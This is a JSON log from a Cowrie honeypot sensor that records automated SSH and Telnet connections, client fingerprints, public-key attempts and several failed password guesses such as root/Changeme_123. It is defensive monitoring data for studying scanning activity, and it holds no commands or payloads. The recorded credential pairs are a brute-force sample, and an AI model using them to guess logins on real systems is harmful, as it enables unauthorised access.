{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:21:55.429176Z","src_ip":"59.16.212.232","session":"8945adeadc88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":34540,"dst_ip":"10.17.0.5","dst_port":22,"session":"6453b3a2c64b","protocol":"ssh","message":"New connection: 193.32.162.145:34540 (10.17.0.5:22) [session: 6453b3a2c64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:00.596045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:00.601828Z","src_ip":"193.32.162.145","session":"6453b3a2c64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:00.705063Z","src_ip":"193.32.162.145","session":"6453b3a2c64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"anza","message":"login attempt [sol/anza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:01.012676Z","src_ip":"193.32.162.145","session":"6453b3a2c64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:02.121620Z","src_ip":"193.32.162.145","session":"6453b3a2c64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":46786,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dad96df1fce","protocol":"ssh","message":"New connection: 197.248.104.31:46786 (10.17.0.5:22) [session: 2dad96df1fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:04.915263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:04.920387Z","src_ip":"197.248.104.31","session":"2dad96df1fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:05.135592Z","src_ip":"197.248.104.31","session":"2dad96df1fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Changeme_123","message":"login attempt [root/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:06.009310Z","src_ip":"197.248.104.31","session":"2dad96df1fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:07.222312Z","src_ip":"197.248.104.31","session":"2dad96df1fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.66680908203125,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:10.560625Z","src_ip":"152.42.224.71","session":"2a0c7e794696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41814,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca86245e5fa9","protocol":"telnet","message":"New connection: 152.42.224.71:41814 (10.17.0.5:23) [session: ca86245e5fa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:13.105618Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40416,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbe8849ae621","protocol":"telnet","message":"New connection: 152.42.224.71:40416 (10.17.0.5:23) [session: cbe8849ae621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:17.174988Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1f02cc2feb1","protocol":"telnet","message":"New connection: 152.42.224.71:40424 (10.17.0.5:23) [session: b1f02cc2feb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:17.780818Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":52452,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0f6e317b3cf","protocol":"ssh","message":"New connection: 194.59.206.2:52452 (159.203.135.109:22) [session: f0f6e317b3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:19.443674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:19.449208Z","src_ip":"194.59.206.2","session":"f0f6e317b3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:19.543401Z","src_ip":"194.59.206.2","session":"f0f6e317b3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:19.654408Z","src_ip":"194.59.206.2","session":"f0f6e317b3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":34788,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b982093c87","protocol":"ssh","message":"New connection: 58.186.20.143:34788 (10.17.0.5:22) [session: c4b982093c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:37.234868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:37.240296Z","src_ip":"58.186.20.143","session":"c4b982093c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:37.488907Z","src_ip":"58.186.20.143","session":"c4b982093c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jacky","message":"login attempt [root/jacky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:38.509853Z","src_ip":"58.186.20.143","session":"c4b982093c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:39.761600Z","src_ip":"58.186.20.143","session":"c4b982093c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.91.141","src_port":56152,"dst_ip":"10.17.0.5","dst_port":22,"session":"36395cf430d6","protocol":"ssh","message":"New connection: 198.38.91.141:56152 (10.17.0.5:22) [session: 36395cf430d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:48.587986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:48.593383Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:48.851411Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.328192949295044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:49.108856Z","src_ip":"152.42.224.71","session":"b1f02cc2feb1","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:ce:fb:9a:6b:17:79:a3:a0:43:ad:9c:bc:87:3e:ff","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJfAGXg/4r5qBDK836IAUOm6MgmHkxRMyLG/ml5CPFdSpgzurkcQl03FAPldQPLCZDDY52h0kG/MaE1KUxNmZxiUtddoXrftb2Y7ovaCDXuC+tYBOypxLxsyd1wfDSZRNo/aLzbuFNbgiOZ3p39Vn/NTeGqKPuJ75RE7/jGE25+7AAAAFQD6hQd/EayaeH1A1pbvrKOAjRl0JQAAAIAqdxBm+tsqbGZ0OuPQLSD0wzEALn+ZB5p/Av7IN5XqxXiWMxdBt5z57ynj5FnsVET7jkv44cXzEMroOcP4MNR1DM7h++nET9NraczK+GO+c37dXLFyOhk7vlCYt04d0YmkiA6QL96b/7Hsks/4NDnHjpOs25ax1Ml/q7GomlYicgAAAIBq8uhUtPnkMm8AB5EqW9k3B2a6fPkK8Nw9UgS/dtyxEXZsGf8YDX2fhabHKvPm7w7zBk5XauWOHj/5HEjUyKamRTYDwbxZ0LFnA092fLh87MQskZuVwLcg0QceG9EeVISrAk2LmpdNTqQRLRlvRzR/7sIP3JkAKf8w1XQ70N2inQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint ce:ce:fb:9a:6b:17:79:a3:a0:43:ad:9c:bc:87:3e:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.121550Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:ce:fb:9a:6b:17:79:a3:a0:43:ad:9c:bc:87:3e:ff","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJfAGXg/4r5qBDK836IAUOm6MgmHkxRMyLG/ml5CPFdSpgzurkcQl03FAPldQPLCZDDY52h0kG/MaE1KUxNmZxiUtddoXrftb2Y7ovaCDXuC+tYBOypxLxsyd1wfDSZRNo/aLzbuFNbgiOZ3p39Vn/NTeGqKPuJ75RE7/jGE25+7AAAAFQD6hQd/EayaeH1A1pbvrKOAjRl0JQAAAIAqdxBm+tsqbGZ0OuPQLSD0wzEALn+ZB5p/Av7IN5XqxXiWMxdBt5z57ynj5FnsVET7jkv44cXzEMroOcP4MNR1DM7h++nET9NraczK+GO+c37dXLFyOhk7vlCYt04d0YmkiA6QL96b/7Hsks/4NDnHjpOs25ax1Ml/q7GomlYicgAAAIBq8uhUtPnkMm8AB5EqW9k3B2a6fPkK8Nw9UgS/dtyxEXZsGf8YDX2fhabHKvPm7w7zBk5XauWOHj/5HEjUyKamRTYDwbxZ0LFnA092fLh87MQskZuVwLcg0QceG9EeVISrAk2LmpdNTqQRLRlvRzR/7sIP3JkAKf8w1XQ70N2inQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.130840Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:1e:23:30:ff:7b:74:b1:5e:5f:be:ed:5b:0f:ae:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSM8X4c2IbH0FXUs0oB627GfqxGSMmkSbhpLVzWnn6ki6G25HKqwvFfGXmT5rxPpoqXUGFXojU5EHVNusBWc0Est/AUv10lpOgHAmP5CaRgwcOzSBIGO3eekplF3whYTwloThSP978+miU3iSojPEhWn3yG9N1Px/+gO6ZjpvDpYGyNXwcLR73g8U26I8tMNYfw/G9qZxMS+kJh9LDPJLcocMfvuPISNUzkJY/H2mACZBIG4/UNI0txMq/GddUQzvmxIVDhUZFuJ+89DxccqqisTQj02a64FPUvt7yFViuclDbn3S6ezx9m5MmjHCu+8Kh1+7x+lPlmgthH9jkOkQ5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:1e:23:30:ff:7b:74:b1:5e:5f:be:ed:5b:0f:ae:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.390584Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:1e:23:30:ff:7b:74:b1:5e:5f:be:ed:5b:0f:ae:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDSM8X4c2IbH0FXUs0oB627GfqxGSMmkSbhpLVzWnn6ki6G25HKqwvFfGXmT5rxPpoqXUGFXojU5EHVNusBWc0Est/AUv10lpOgHAmP5CaRgwcOzSBIGO3eekplF3whYTwloThSP978+miU3iSojPEhWn3yG9N1Px/+gO6ZjpvDpYGyNXwcLR73g8U26I8tMNYfw/G9qZxMS+kJh9LDPJLcocMfvuPISNUzkJY/H2mACZBIG4/UNI0txMq/GddUQzvmxIVDhUZFuJ+89DxccqqisTQj02a64FPUvt7yFViuclDbn3S6ezx9m5MmjHCu+8Kh1+7x+lPlmgthH9jkOkQ5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.394479Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:61:1a:08:20:d3:35:94:85:df:6a:e7:8a:c4:1a:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6bEZAcAUXU3drapYufelXaJqTJ3vJ68cZh2H5Fk5qaAKWvXZiXynvSK4nnEcPeKPQaXCaxgX1ieEx6ZFWY7R7WfSWZylGEkNqj32i1MrwegXoeQcMKri5kmEp8kZXpOl2XE1TrGlP/v23kU0lv7MHKxW0WhEs2URKJBeQdyYPZYNcEvBQDM8+1DwCIztBN6oBnZRNJDxoyEF5kUPEVC+nJuj2vzfSUp/nXcAr07oYBmlcIHzCoYnOyktRx+sfagHHvNPOkVmSHADwyvrslPGPxp+N+HlBUUbU+9tXp7A5J4EF1cnPNFGyMBtXjnKbBMQpJqBVLuHPt82fJPWtlQF1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:61:1a:08:20:d3:35:94:85:df:6a:e7:8a:c4:1a:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.653766Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:61:1a:08:20:d3:35:94:85:df:6a:e7:8a:c4:1a:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6bEZAcAUXU3drapYufelXaJqTJ3vJ68cZh2H5Fk5qaAKWvXZiXynvSK4nnEcPeKPQaXCaxgX1ieEx6ZFWY7R7WfSWZylGEkNqj32i1MrwegXoeQcMKri5kmEp8kZXpOl2XE1TrGlP/v23kU0lv7MHKxW0WhEs2URKJBeQdyYPZYNcEvBQDM8+1DwCIztBN6oBnZRNJDxoyEF5kUPEVC+nJuj2vzfSUp/nXcAr07oYBmlcIHzCoYnOyktRx+sfagHHvNPOkVmSHADwyvrslPGPxp+N+HlBUUbU+9tXp7A5J4EF1cnPNFGyMBtXjnKbBMQpJqBVLuHPt82fJPWtlQF1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.657813Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a3:bf:3c:ec:e4:25:95:59:0a:12:2d:27:f0:2d:e2:20","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDpoO67EDjBwehmAvkZDLJOPG9i4q1aB5w/2lCky5I1ezHKifHR92fKBl1jStBAuKQsH54/7kRtSJV8s9oehWFX1IQ21BLTckABWZSfQjSjJPXV1nN54EmcQhMpGf3h1wSACD/pQd5jDB6U4b+E/KkTlcOR5yfHKnUdiNN7gPhbZTBPSvrsfEO5wekJYSIkPnkuRCYt43OGb9aSHdJykHZG0kmGvQPFZpNaJJowP5FvkVIJ3JwmyyBdzyCxhi2ZnfjEV23YfkKEP9lKifnDLeGwlRONQi1y5IdC0vYee2hdAk8SZcQXn7sOCshhHqq6Ay+lbMNJJCJQ3r/OvBMQzM71ny8Sl4s7yKbxNjvwxMluWAOvqEdt+67hnMVRt0i0fUrLdzdJ1HYI+qCegja2wk0xbZsAtJevr7fhPJNFd3jhD0OHBIBNlJckdgJrIv80EelD+6AkEagBe0vZm7nAKz9ral6Nw4uCpUOgDenmxe0j++IMKiW/IbXh5Vo000JeKuixzqiMJkgS3O+jxMEdB+wrsC14D9A4bI/EJCM/cdEYMI593NYRrwhhLmsQDd3xXq3et6kwiwvxlNoPpLqjryAfkKr2mDpe2X/z+expben/PQq/KYrp3OMJvfLUI8h2pKqqRmV9SnHIPgAqck+/jendzfo3QMO3+NzGj/Q3JxmF4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a3:bf:3c:ec:e4:25:95:59:0a:12:2d:27:f0:2d:e2:20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:22:50.917021Z","src_ip":"198.38.91.141","session":"36395cf430d6","protocol":"ssh"}
